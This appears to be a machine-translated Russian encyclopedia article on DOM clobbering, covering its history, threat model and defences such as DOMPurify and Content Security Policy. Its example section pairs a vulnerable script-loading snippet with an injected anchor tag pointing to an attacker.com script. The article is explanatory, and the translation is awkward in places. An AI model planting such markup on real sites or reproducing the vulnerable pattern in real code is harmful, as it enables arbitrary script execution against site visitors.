Затирание DOM
В интернет-безопасности закрытие DOM (где DOM означает объектную модель документа ) — это тип атаки с внедрением , которая вращается вокруг возможности злоумышленника вставить безобидный HTML- код, не связанный со сценарием, который можно использовать для влияния на выполнение кода JavaScript . Это позволяет опытному злоумышленнику выполнять различные нежелательные действия, включая возможность перейти к выполнению произвольного кода на веб-сайте.
Хотя об уязвимости известно уже более десяти лет, недавние попытки полностью ее устранить не увенчались успехом из-за значительного использования базовых функций в Интернете по состоянию на 2021 год. Однако было выявлено несколько средств защиты, которые ограничивают последствия. предотвращения стирания DOM и предотвращения некоторых случаев стирания DOM.
Уязвимость [ править ]
Уязвимость, связанная с закрытием DOM, возникает из-за конфликта имен между контекстом выполнения JavaScript и элементами HTML в объектной модели документа (DOM). Когда undefined
Переменная JavaScript объявляется в том же контексте, что и элемент HTML с тем же name
или id
параметр, браузер назначит HTML-элемент undefined
переменная. [1] Такое поведение можно использовать для выборочного влияния на выполнение JavaScript путем регистрации элементов HTML, совпадающих с определенными переменными, влияющими на выполнение кода. В некоторых случаях стирание DOM может даже использоваться для скрытия законных браузера API-интерфейсов путем скрытия дерева свойств с помощью элементов HTML DOM. Это может привести к тому, что злоумышленник будет манипулировать выполнением различных частей кода JavaScript, внедряя определенную разметку. [2] [3]
Опытный злоумышленник может выполнить произвольные открытые перенаправления , перезаписав window.location
атрибут, подделку межсайтового запроса или даже выполнение произвольного кода путем тщательного манипулирования элементами HTML. В рамках исследования, проведенного в 2023 году, Ходаяри и др. показал, что из 5 тысяч лучших веб-сайтов в мире (согласно списку Tranco) 9,8% сайтов были уязвимы для этой атаки, включая такие сайты, как Wikibooks , GitHub , Fandom и Trello . [4]
История [ править ]
О существовании стирания DOM известно как минимум с 2010 года, когда в статье исследователей из Калифорнийского университета в Беркли и Университета Карнеги-Меллон была продемонстрирована атака, в которой iframe назывался self
может использоваться для перехода со страницы на другую страницу, что нарушает политику одного и того же источника . [5] [6] За прошедшие годы исследователи безопасности нашли более сложные методы, которые позволили добиться гораздо более значительного эффекта, чем было продемонстрировано первоначально. [7] [8]
Хотя о существовании самой атаки уже было известно, сам термин «закрытие DOM» появился только в 2013 году, когда он был популяризирован публикацией в блоге исследователя безопасности Гарета Хейеса, демонстрирующей, как уязвимость может быть использована для выполнения произвольного кода. [2] В 2015 году Хайдерих и др. предложил дизайн библиотеки под названием JSAgents (позже DOMPurify), которая будет эффективна при очистке атак путем внедрения разметки, например, связанных с межсайтовым выполнением сценариев и уничтожением DOM. [9] [10] [11]
В последние годы возродился интерес к смягчению этой атаки, особенно после того, как в 2020 году в Gmail и Google Analytics были обнаружены уязвимости, закрывающие DOM . [12] были сделаны предложения, В течение 2020 и 2021 годов в различных группах по веб-стандартам подробно описывающие меры защиты от затирания DOM путем запрета именованного доступа к элементам DOM на уровне браузера. [13] [4] Однако эти предложения были отклонены, поскольку после исследования данных телеметрии Chrome было обнаружено, что более 10,5% Интернета полагаются на функции, работающие в соответствии с их текущим поведением. [14] [4]
Пример [ править ]
Чтобы продемонстрировать, как атака стирания DOM может быть использована для влияния на выполнение JavaScript, в качестве примера взят следующий фрагмент кода JavaScript:
const url = window.globalUrlConfig || { href: '/code.js' };
const scriptElem = document.createElement('script');
scriptElem.src = url.href;
document.body.appendChild(scriptElem);
В этом простом примере создается и впоследствии отображается на странице элемент сценария. Однако этот простой пример уязвим для стирания DOM. Злоумышленник может внедрить следующий HTML-код с помощью межсайтового сценария или других функций веб-сайта, которые могут позволить внедрение разметки.
<a href="https://attacker.com/malicious_script.js" id="globalUrlConfig">...</a>
Эта инъекция позволит злоумышленнику перезаписать globalUrlConfig
переменная со ссылкой на элемент привязки , который, в свою очередь, перезаписывает url
переменная, а затем scriptElem.src
параметр, (ввиду того, что url.href
теперь относится к href
параметр элемента привязки), приводящий к выполнению произвольного кода . [15]
Модель угроз [ править ]
Модель угрозы для атаки с блокированием DOM аналогична модели веб-злоумышленника, предложенной Akhawe et al. в 2010 году. Эта модель предполагает, что злоумышленник может отправлять электронные письма или каким-либо другим методом перенаправить жертву на определенные страницы, находящиеся под их контролем. Модель также предполагает, что злоумышленник может внедрить ограниченный набор разметки на веб-сайты жертвы. Это можно сделать, используя другие атаки, такие как межсайтовый скриптинг или злоупотребление функциями рендеринга форматированного текста на веб-странице (например, программой чтения электронной почты Gmail и редактором WYSIWYG ). [16] [17] Это очень важно, поскольку уничтожение DOM зависит от того, сможет ли злоумышленник внедрить потенциально безопасный HTML-код на веб-сайт. [18]
Защита [ править ]
Хотя оптимальной защитой от стирания DOM было бы отключение доступа к именованным элементам DOM, в настоящее время это неосуществимо из-за значительного активного использования этих функций, согласно данным телеметрии Chrome в 2021 году. [13] [14] [4] Однако для смягчения влияния блокировки DOM на выполнение кода JavaScript можно использовать различные методы безопасного кодирования. [19]
Библиотеки очистки HTML [ править ]
Одним из наиболее распространенных методов ограничения атак стирания DOM является использование библиотек очистки HTML . [20] В 2017 году Хайдерих и др. предложил способ устранения затирания DOM, который впоследствии был добавлен в библиотеку DOMPurify. Для смягчения последствий использовалось использование хэшей существующих функций, чтобы определить, не перезаписали ли их HTML-элементы. Кроме того, DOMPurify анализирует id
и name
атрибуты внедренных элементов, чтобы определить, могут ли они конфликтовать с существующими глобальными функциями. [21] Однако недавние уязвимости, связанные с стиранием DOM, были обнаружены в DOMPurify и подобных библиотеках, таких как HTML Janitor, что указывает на то, что эти библиотеки защищают только от определенных случаев стирания DOM и в значительной степени не осведомлены о связанных с этим рисках. [22] [23] [24]
Политика безопасности контента [ править ]
Еще одним популярным методом смягчения последствий затирания DOM является использование ограничительных политик безопасности контента (CSP). [25] Хотя это не мешает уничтожению DOM изменять выполнение уже существующего кода, [26] Использование ограничительных политик безопасности контента может значительно затруднить злоумышленникам превращение риска уничтожения DOM в атаку с выполнением произвольного кода, ограничивая возможность выполнения сценариев на веб-сайте. Используя script-src
Директивой CSP веб-разработчики могут ограничить возможность загрузки сценариев заранее определенным набором доверенных доменов. [25] Это существенно лишает злоумышленника возможности загрузить ненадежный код, контролируемый злоумышленником, если он может скомпрометировать src
атрибут тега скрипта. [27]
См. также [ править ]
Ссылки [ править ]
Цитаты [ править ]
- ^ Jump up to: Перейти обратно: а б Ходаяри и Пеллегрино, 2023 , стр. 101-1. 1043, 1044.
- ^ «Уменьшение атак стирания DOM в JavaScript» . Сник . 07.08.2023 . Проверено 30 октября 2023 г.
- ^ Jump up to: Перейти обратно: а б с д Ходаяри и Пеллегрино 2023 , с. 1050.
- ^ Ходаяри и Пеллегрино 2023 , с. 1053.
- ^ Бейтс, Дэниел; Барт, Адам; Джексон, Коллин (26 апреля 2010 г.). «Регулярные выражения считаются вредными в XSS-фильтрах на стороне клиента» . Материалы 19-й международной конференции по Всемирной паутине . WWW '10. Нью-Йорк, штат Нью-Йорк, США: Ассоциация вычислительной техники. стр. 91–100. дои : 10.1145/1772690.1772701 . ISBN 978-1-60558-799-8 . S2CID 730078 .
- ^ Ходаяри и Пеллегрино 2023 , с. 1041.
- ^ «Разрушение DOM | Академия веб-безопасности» . www.portswigger.net . Проверено 30 октября 2023 г.
- ^ Хайдерих, Нимитц и Швенк 2015 , стр. 24–25.
- ^ Heiderich, Späth & Schwenk 2017 , стр. 117–118.
- ^ «DOM Clobbering наносит ответный удар» . Исследование ПортСвиггера . 06 февраля 2020 г. Проверено 9 ноября 2023 г.
- ^ Jump up to: Перейти обратно: а б «Отключить стирание DOM. · Проблема № 349 · w3c/webappsec-permissions-policy» . Гитхаб . Проверено 9 ноября 2023 г.
- ^ Jump up to: Перейти обратно: а б «Состояние платформы Chrome» . chromestatus.com . Проверено 9 ноября 2023 г.
- ^ Ходаяри и Пеллегрино 2023 , с. 1042.
- ^ Heiderich, Späth & Schwenk 2017 , стр. 117.
- ^ Ахаве и др. 2010 , стр. 291–294.
- ^ Ходаяри и Пеллегрино 2023 , с. 1043.
- ^ Ходаяри и Пеллегрино 2023 , с. 1052.
- ^ Ходаяри и Пеллегрино 2023 , с. 1051.
- ^ Heiderich, Späth & Schwenk 2017 , стр. 122-124.
- ^ Ходаяри и Пеллегрино, 2023 , стр. 1–14. 1051, 1053.
- ^ «Публикации/pentest-report_dompurify.pdf на странице master · cur53/Publications» (PDF) . Гитхаб . Проверено 10 ноября 2023 г.
- ^ «Сторонние модули Node.js, раскрытые на HackerOne: [html-janitor]...» HackerOne . Проверено 10 ноября 2023 г.
- ^ Jump up to: Перейти обратно: а б Roth, Backes & Stock 2020 , с. 420.
- ^ «Предотвращение стирания DOM – серия шпаргалок OWASP» . cheatsheetseries.owasp.org . Проверено 10 ноября 2023 г.
Источники [ править ]
- Лекиес, Себастьян; Котович, Кшиштоф; Гросс, Сэмюэл; Вела Нава, Эдуардо А.; Джонс, Мартин (30 октября 2017 г.). «Атаки с повторным использованием кода в Интернете: устранение последствий межсайтового выполнения сценариев с помощью гаджетов сценариев» . Материалы конференции ACM SIGSAC 2017 по компьютерной и коммуникационной безопасности . ККС '17. Нью-Йорк, штат Нью-Йорк, США: Ассоциация вычислительной техники. стр. 1709–1723. дои : 10.1145/3133956.3134091 . ISBN 978-1-4503-4946-8 . S2CID 8779516 .
- Ходаяри, Сохейл; Пеллегрино, Джанкарло (2023). «Пришло время (DOM) разрушения: методы атаки, распространенность и защита». Симпозиум IEEE по безопасности и конфиденциальности (SP) 2023 г. IEEE. стр. 1041–1058. дои : 10.1109/SP46215.2023.10179403 . ISBN 978-1-6654-9336-9 . S2CID 260002685 .
- Хайдерих, Марио; Нимитц, Маркус; Швенк, Йорг (2015). «В ожидании CSP — защита устаревших веб-приложений с помощью JSAgents» . В Пернуле, Гюнтер; Я. Райан, Питер; Вейппль, Эдгар (ред.). Компьютерная безопасность – ESORICS 2015 . Конспекты лекций по информатике. Том. 9326. Чам: Springer International Publishing. стр. 23–42. дои : 10.1007/978-3-319-24174-6_2 . ISBN 978-3-319-24174-6 .
- Хайдерих, Марио; Шпет, Кристофер; Швенк, Йорг (2017). «DOMPurify: защита на стороне клиента от XSS и внедрения разметки» . В Фоли, Саймон Н.; Гольманн, Дитер; Снеккенес, Эйнар (ред.). Компьютерная безопасность – ESORICS 2017 . Конспекты лекций по информатике. Том 10493. Чам: Springer International Publishing. стр. 116–134. дои : 10.1007/978-3-319-66399-9_7 . ISBN 978-3-319-66399-9 .
- Рот, Себастьян; Бэкес, Майкл; Сток, Бен (05.10.2020). «Оценка влияния гаджетов сценариев на CSP в масштабе» . Материалы 15-й Азиатской конференции ACM по компьютерной и коммуникационной безопасности . АЗИЯ CCS '20. Нью-Йорк, штат Нью-Йорк, США: Ассоциация вычислительной техники. стр. 420–431. дои : 10.1145/3320269.3372201 . ISBN 978-1-4503-6750-9 . S2CID 222135428 .
- Ахаве, Девдатта; Барт, Адам; Лам, Пейфунг Э.; Митчелл, Джон; Песня, Рассвет (2010). На пути к формальному фундаменту веб-безопасности . IEEE. стр. 290–304. дои : 10.1109/csf.2010.27 . ISBN 978-1-4244-7510-0 . S2CID 14522899 . Проверено 10 ноября 2023 г.